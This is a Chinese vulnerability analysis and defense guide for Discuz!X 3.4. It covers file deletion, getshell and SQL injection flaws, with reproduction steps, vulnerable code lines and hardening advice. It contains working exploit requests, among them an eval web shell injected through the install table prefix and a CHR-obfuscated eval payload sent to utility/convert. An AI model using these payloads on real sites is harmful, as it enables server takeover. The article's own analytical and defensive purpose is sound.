Discuz!X 3.4 系列漏洞梳理
字数 2047 2025-08-25 22:58:28

Discuz!X 3.4 系列漏洞分析与防护指南

1. Discuz!X ≤3.4 任意文件删除漏洞

漏洞概述

  • 漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过
  • 修复时间:2017年9月29日
  • 影响版本:Discuz!X ≤3.4

漏洞复现步骤

  1. 安装修复前的版本(git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be)
  2. 登录用户账户
  3. 访问URL:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
  4. 发送POST请求:
    POST birthprovince=testfile.txt&profilesubmit=1&formhash=e9d84225
    
  5. 表单中的出生地内容变为../../../testfile.txt
  6. 构造请求上传文件,文件将被删除

漏洞分析

  • 关键文件:/source/module/home/home_spacecp.php/source/include/spacecp/spacecp_profile.php
  • 漏洞触发点:@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key])
  • $space[key]来自用户可控的birthprovince参数
  • 通过修改出生日期参数为目标文件路径实现任意文件删除

修复方法

官方直接删除了几条unlink语句

2. Discuz!X V3.4后台任意文件删除漏洞

漏洞概述

  • 权限要求:管理员权限
  • 影响版本:Discuz!X V3.4

漏洞复现步骤

  1. 登录后台
  2. 进入"论坛->模块管理->编辑板块"
  3. 使用burp拦截提交数据
  4. 修改请求包添加参数:&replybgnew=testfile.txt&delreplybg=1
  5. 发送请求,文件将被删除

漏洞分析

  • 关键文件:/source/admincp/admincp_forums.php
  • 漏洞触发点:@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])
  • $_GET['replybgnew']参数可控
  • 路径拼接为:data/attachment/common/ + 用户输入

3. 任意文件删除配合install过程getshell

漏洞概述

利用文件删除漏洞删除install.lock文件,绕过安装完成判断,重新安装时通过构造表前缀写入webshell

漏洞复现步骤

  1. 删除data/install.lock文件
  2. 访问install/index.php重新安装
  3. 修改表前缀为:x');@eval($_POST[lanvnal]);('
  4. webshell将写入config/config_ucenter.php

漏洞分析

  • 关键文件:install/index.php
  • 漏洞触发点:save_uc_config函数未对表前缀参数做过滤
  • 写入配置文件时直接拼接用户输入导致代码执行

利用条件

  1. 安装后没有登录后台(此时install/index还未删除)
  2. 因其他原因install目录未被删除

4. Dz全版本版本转换功能导致Getshell

漏洞概述

  • 影响范围:全版本
  • 条件:存在/utility/convert/目录和相应功能

漏洞复现

发送POST请求:

POST /dz/utility/convert/index.php
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa

漏洞分析

  • 关键文件:utility/convert/index.phpinclude/do_config.inc.php
  • 漏洞触发点:save_config_file函数处理$newconfig数组时未过滤key值
  • 通过换行符逃离注释范围,使输入数据转化为可执行代码

5. 全版本后台Sql注入

漏洞概述

  • 影响版本:Discuz!X全版本
  • 漏洞类型:二次注入
  • 利用条件:需要管理员权限

漏洞分析

  • 关键文件:source/admincp/admincp_setting.php
  • 漏洞原因:经过addslashes存入文件后,从文件取出时转义符号丢失
  • 注入点:uc_client/model/base.phpnote_exists方法

防护建议

  1. 及时更新:升级到最新版本,应用官方补丁
  2. 权限控制
    • 严格限制后台访问权限
    • 避免使用弱密码
  3. 文件权限
    • 设置install.lock为只读
    • 删除不必要的install目录
  4. 输入过滤
    • 对所有用户输入进行严格过滤
    • 特别警惕文件路径参数
  5. 代码审计
    • 检查所有文件操作函数(如unlink)
    • 检查所有数据库操作是否使用预编译
  6. 日志监控
    • 监控异常文件删除操作
    • 监控配置文件修改行为

总结

Discuz!X 3.4系列存在多种高危漏洞,包括任意文件删除、SQL注入和远程代码执行等。这些漏洞大多源于输入验证不严格和权限控制不足。管理员应高度重视系统安全,及时应用补丁并采取适当的防护措施。

Discuz !X 3.4 系列漏洞分析与防护指南 1. Discuz !X ≤3.4 任意文件删除漏洞 漏洞概述 漏洞原因 :之前存在的任意文件删除漏洞修复不完全导致可以绕过 修复时间 :2017年9月29日 影响版本 :Discuz !X ≤3.4 漏洞复现步骤 安装修复前的版本(git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be) 登录用户账户 访问URL: http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base 发送POST请求: 表单中的出生地内容变为 ../../../testfile.txt 构造请求上传文件,文件将被删除 漏洞分析 关键文件: /source/module/home/home_spacecp.php 和 /source/include/spacecp/spacecp_profile.php 漏洞触发点: @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]) $space[key] 来自用户可控的 birthprovince 参数 通过修改出生日期参数为目标文件路径实现任意文件删除 修复方法 官方直接删除了几条unlink语句 2. Discuz !X V3.4后台任意文件删除漏洞 漏洞概述 权限要求 :管理员权限 影响版本 :Discuz !X V3.4 漏洞复现步骤 登录后台 进入"论坛->模块管理->编辑板块" 使用burp拦截提交数据 修改请求包添加参数: &replybgnew=testfile.txt&delreplybg=1 发送请求,文件将被删除 漏洞分析 关键文件: /source/admincp/admincp_forums.php 漏洞触发点: @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']) $_GET['replybgnew'] 参数可控 路径拼接为: data/attachment/common/ + 用户输入 3. 任意文件删除配合install过程getshell 漏洞概述 利用文件删除漏洞删除 install.lock 文件,绕过安装完成判断,重新安装时通过构造表前缀写入webshell 漏洞复现步骤 删除 data/install.lock 文件 访问 install/index.php 重新安装 修改表前缀为: x');@eval($_POST[lanvnal]);(' webshell将写入 config/config_ucenter.php 漏洞分析 关键文件: install/index.php 漏洞触发点: save_uc_config 函数未对表前缀参数做过滤 写入配置文件时直接拼接用户输入导致代码执行 利用条件 安装后没有登录后台(此时install/index还未删除) 因其他原因install目录未被删除 4. Dz全版本版本转换功能导致Getshell 漏洞概述 影响范围 :全版本 条件 :存在 /utility/convert/ 目录和相应功能 漏洞复现 发送POST请求: 漏洞分析 关键文件: utility/convert/index.php 和 include/do_config.inc.php 漏洞触发点: save_config_file 函数处理 $newconfig 数组时未过滤key值 通过换行符逃离注释范围,使输入数据转化为可执行代码 5. 全版本后台Sql注入 漏洞概述 影响版本 :Discuz !X全版本 漏洞类型 :二次注入 利用条件 :需要管理员权限 漏洞分析 关键文件: source/admincp/admincp_setting.php 漏洞原因:经过addslashes存入文件后,从文件取出时转义符号丢失 注入点: uc_client/model/base.php 的 note_exists 方法 防护建议 及时更新 :升级到最新版本,应用官方补丁 权限控制 : 严格限制后台访问权限 避免使用弱密码 文件权限 : 设置 install.lock 为只读 删除不必要的 install 目录 输入过滤 : 对所有用户输入进行严格过滤 特别警惕文件路径参数 代码审计 : 检查所有文件操作函数(如unlink) 检查所有数据库操作是否使用预编译 日志监控 : 监控异常文件删除操作 监控配置文件修改行为 总结 Discuz !X 3.4系列存在多种高危漏洞,包括任意文件删除、SQL注入和远程代码执行等。这些漏洞大多源于输入验证不严格和权限控制不足。管理员应高度重视系统安全,及时应用补丁并采取适当的防护措施。